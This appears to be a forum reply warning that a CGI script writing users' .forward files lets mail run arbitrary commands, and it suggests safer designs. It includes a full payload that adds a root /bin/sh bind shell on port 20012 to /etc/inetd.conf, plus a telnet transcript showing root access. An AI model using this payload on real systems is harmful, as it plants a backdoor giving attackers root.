in reply to writing to a user's directory
Then i send an email to root, and i have a root shell listening on port 20012:"exec echo vboxd stream tcp nowait root /usr/sbin/tcpd /bi +n/sh >> /etc/inetd.conf && kill -HUP `cat /var/run/inet.pid` && echo +> /root/.forward"
This is a bad thing. and exploits like this have been around for a while, since mail blindly executes the .forward / .vacation files. The best bet is to use the forwarding/vacation mechanism in your mail server itself. You could make your aliases(5) file writable by your httpd process. Or even better, the cgi could just dump it's output to some flat file somewhere, where a cronjob (which runs every five minutes) would parse it, do some reality checking on the data, and then decide whether or not to proceed from there.jed:~$ telnet guinness 20012 Trying x.x.x.x... Connected to guinness Escape character is '^]'. echo $UID 0 echo $PWD /
|
|---|